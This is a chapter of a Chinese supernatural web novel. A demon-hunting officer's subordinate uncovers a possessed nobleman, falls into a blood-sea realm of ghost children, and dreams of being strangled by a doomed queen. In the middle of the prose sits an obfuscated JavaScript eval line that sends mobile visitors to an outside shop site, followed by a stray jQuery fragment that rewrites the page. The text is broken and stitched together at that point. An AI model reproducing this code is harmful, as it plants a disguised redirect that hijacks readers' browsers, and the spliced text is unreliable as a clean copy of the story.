救他?怎么会?他还需要救?
江潋晴突然好奇起来,走了回去问:
“你怎么了?这不是挺好的吗?”
纪元玮的脸开始扭曲起来,似乎什么情绪开始要喷涌而出。
他小声说:
“我被人控制了,从一早上起床就如此了,我不想这样的…”
江潋晴满不在乎道:“这不是挺好的嘛?一醒来就是好儿郎了!”
“而且你之前确实挺欠揍的。”
纪元玮道:“我想起来我哥小时候就是这样,从那以后他就再没有笑过了,再后来他就辞官倒在了城外,我哥不会骗我的,我也快被什么东西害死了!”
“啊!疼!”
话刚说完,他突然捂着脑袋满地打滚,全身蜷缩着,江潋晴却听出了问题,显然现在纪元玮的问题就是那妖搞得鬼,也就是说那妖选纪元玮成为它新的伥?
江潋晴看着纪元玮疼得不行的样子也忍不住着急,正在打算给他找大夫的时候,他却突然像个木偶一样再次站起身,去桌上拿起了开始看着的书,全然回到了之前的样子。
江潋晴喊了一句:“纪元玮?”
她就这样叫了半个小时,这次怎么叫他再也没有其他的动静,看来这妖还是有点功力,即使身不在相国府还能对他进行这样的控制!
首先能够确定的是纪元玮的身体一定发生了什么他不能够控制的变化,其次这个问题很有可能是妖搞得鬼,只是因为纪温书这个伥逃走了,所以才选中了纪元玮,估计原本纪温书也是打算带着纪元玮逃走的,没想到功亏一篑,刚才估计就是对纪元玮的泄密行为惩罚,重新对他控制。最后,江潋晴决定了纪元玮虽然是个很没有礼貌的人,但是她秉着负责的态度,还是应该把他拉出来的。
想着想着江潋晴就来到了林星州的门前,这几天他一直神出鬼没的,她也很久没有看到他了,里面依旧没有灯火,江潋晴又一次觉得自己扑空了,但她触到门的时候才发现门居然是开的,“吱呀呀”的打开了,她走了进去。
窗外清冷的月光撒了下来,扑面而来是一股清风,林星州就端坐在地上,出尘的让江潋晴觉得不似现世的人,还伴着一些奇异的光芒。
江潋晴走了过去,终于找到人了,她可得好好说说这几天相国府的糟心事!
“大人,这几天…”
突然她一脚却踏空了,怎么平地还会踏空?甚至她感觉自己还是在空中,她睁开眼一看,眼前的画面直接被吓得丢了七魄,她不在林星州的房间里,而是来到了一个漆黑无比的世界,脚下是血红的海,海上漂浮着…不能说死,也不能说活着的孩童。
其中小的婴孩有的在不断地啼哭,有的则抱着自己的断肢发呆,有些年纪偏大的却看着她这个即将摔成八瓣的女人,阴森的笑了,亮出一口白牙和嘴边的血。
空气中浓重的腥臭味和那上百个孩子的桀桀笑声让她几乎呕吐。
怎么会!明明她刚才还在林星州的房间,怎么可能一脚就进了这个世界?难道她中了那妖的妖法?此刻她欲哭无泪!早知道就不来找他了,这下肯定是个死无全尸,被啃食殆尽的下场!
“不!”她甚至还没有和梁萱再见一面!
不断贴近的血海,她甚至都能看到那些孩子身上在拍着手说什么。
“真好,真好!”
其中一个两眼通红的妖童一个跳跃就抓了上来,粘滑的触感让江潋晴恐惧到无以复加。
但突然一只巨手将江潋晴拉住,江潋晴也才能用妖鞭甩开妖童,也算是暂时捡回一条命。
而江潋晴这时才发现不远处,在血海边,一个被死死钉在一棵树上的红衣女子挣脱了束缚,抹去嘴边的血迹,笑地很是猖狂!
“哈哈哈!!!”
她同时听到一声来自林星州的叹息,但她怎么看,都没有看到林星州的人影。
“成事不足败事有余。”
一道柔媚的女声轻笑出声:“堂堂的镇妖司林大人,看来也狠不下心嘛!居然因为小小下属就放弃了将我毙命的机会!你可知你以后绝对没有这样的机会了!”
“别得意,我一定会把你抓回去问罪!”
女子一听笑了:“谁抓谁还不一定呢!”
刚说完,眼前的世界一黑,江潋晴再一眨眼就回到了房间!眼前是林星州,剑眉挑起,带着不悦,连眼都不想看她。
显然,刚才的事,是江潋晴坏了他的好事!她实在没想到,林星州能为了救她而放弃除妖!其实,她一直觉得从进镇妖司,林星州对自己至少可以说是看不惯的,所以平时,也一直都躲着他走。
江潋晴只能跪地谢罪:“刚才多谢大人,我不应该随意走进你的房间,以后我一定当牛做马报答你!”
“你知道你坏了多大的事吗?”
江潋晴垂下头:
“我只是因为相国府出现异常,所以才没注意。”
林星州厉声道:“别找借口!这半个月的功夫全功亏一篑了。”
“是。”
“什么异常?”
“纪元玮是伥,上一个伥是纪温书,现在纪元玮已经被完全控制了思想行动。”
“伥?你刚才看到的血海中的孩童就是伥灵,那就是那妖操纵的东西,用来控制凡人为自己所用,还好你刚才没有被伥灵附体。”
江潋晴又想起来刚才那妖童抓着自己鬼笑的场景,心就不自觉的战栗起来,实在让人头皮发麻!
林星州道:“为了防止妖在与我打斗中控制伥来与我缠斗,增加无谓的伤亡,你需要在这三日解除他的伥。”
“但是我并不会解除。”
林星州拿出一包药粉:“这是解药,你需要配合你的灵力每日给他运功调息才能解除。”
“好。”江潋晴收下了解药。
林星州摩挲着手中的剑,给了她一只灵笛,又开口。
“另外在我看来,伥很可以不止一个,你要做好心理准备,往后几日我还得去抓那妖就范,如果事情紧急,你可以用灵笛唤我,但以后不要进我的房间。”
“好。”
当夜,江潋晴心事重重在床上躺下,脑子里全部都是那红衣女子的笑,和那个充满血腥的世界。
半梦半醒间,她模糊看到了一个金碧辉煌的宫殿,她走了进去,却闻到了刺鼻的烧焦味,远处痛彻心扉的哭嚎,身边不断的有人走过。
“快跑!”
“再不跑就来不及了!王后!”
江潋晴抬起头,看向身边的女人,雍容华贵,花容月貌,却满是泪痕的看着她。
她开口道:“王已经死了,你们走吧,我和u不走了。”
江潋晴开口道:“母后,咱们不走吗?”
完全不是她的声音!
母后?她哪有什么母后啊?这是梦吗?为什么她控制不了自己的手脚!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794549|210472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女人蹲下来,在江潋晴面前温柔的笑了,摸了摸她的头:“咱们不走,咱们就呆在这里。”
“好啊!”江潋晴抱着自己手中的娃娃道。
额,这娃娃…长的有点恐怖啊!这孩子喜欢的还真别具一格。
远处城门的哭嚎和刀兵之声更近了。
女人流下一行泪,开口:
“宁宁啊,你有什么愿望吗?”
江潋晴开始觉得不对劲了,这情况了,还愿望?先保命不行吗?
“愿望?有啊,我希望和娘亲一辈子不分开!”
女人又摸了摸江潋晴的脸,眼中全是眷恋:“傻孩子,咱们以后永远也不会分开!”
“真的吗?”江潋晴能够感受到女孩心中的欢喜,却又预感后面决没有好事!
“当然。”
话刚说完,江潋晴就感觉自己的脖子被紧紧的勒住,掐住她脖子的居然是她的母亲!
“母…后!为什么!”
江潋晴感觉喉咙刻骨的疼,完全不能呼吸,对死亡的深深地恐惧占据了她的脑海。
女人死寂的眼眸却没有一丝光亮:
“咱们一家人就得好好在一起不是吗?”
“母后…”
“我不想死…”
女人哑声道:
“乖,这样我们就能在一起了,你活不下去的…”
“我不要死!”
这话喊出来却是在江潋晴的口中,但她的眼前却是另外一番景象了。
没有那绝望疯狂的女人,没有女孩的抗议,也没有那皇宫,就只是一切都消失了,在以前黑暗之中…
她拼命的呼吸,好像真的被掐死过一次。
她记得那女人一边用力掐在她的脖子上,一边状态疯癫的说:“不要怪母后,这都是命!”
她想起了曾经很多年前,她的母亲也和她说过一样的话。
“不要怪娘亲,这都是你我的命!”
随后她亲了她一下,把小小的她丢在衢州的街头,任风雨飘摇,饥寒交迫。
但江潋晴发现自己处于一个全新的困境,她一点点都动弹不得。
不行,她要跑,刚刚才体验过一次被人活活掐死,这鬼地方,再呆下去,怎么死都不知道!
但同时她的眼前却出现了不属于她所见到的画面。
这是纪元玮的书房?还有一双熟悉的手,居然是纪元玮?她在不停的看着书,虽然她没有一点心思看,但却似乎有什么让那些东西流进了她的脑子里。
但翻过了二十本书,为什么!她的梦还没有醒?江潋晴感觉到了前所未有的疲累。
“在梦中也会这么累吗?”
“呵呵!”熟悉的声音在江潋晴的脑中响起。
“谁?”
“我们不是刚刚才见过吗?是你救了我一命呢!”
这柔媚的声音,是妖?怎么会,她可以直接入梦?
她的眼前出现了那个红衣女子,身上的伤并没有完全愈合,多给她增添了几分疯狂。
“你到我梦里干什么?”
“梦?哈哈!”她放肆的笑了起来,身上的红衣如同烈火焚身般飞舞。
“这都是现实,梦有这么真实吗?我不过在你离开我的世界前给了你点东西罢了!”
“怎么样,还开心吗?”她的声音如同魔音入耳。
现实?江潋晴正疑惑之际,梦已经醒了,还是在相国府…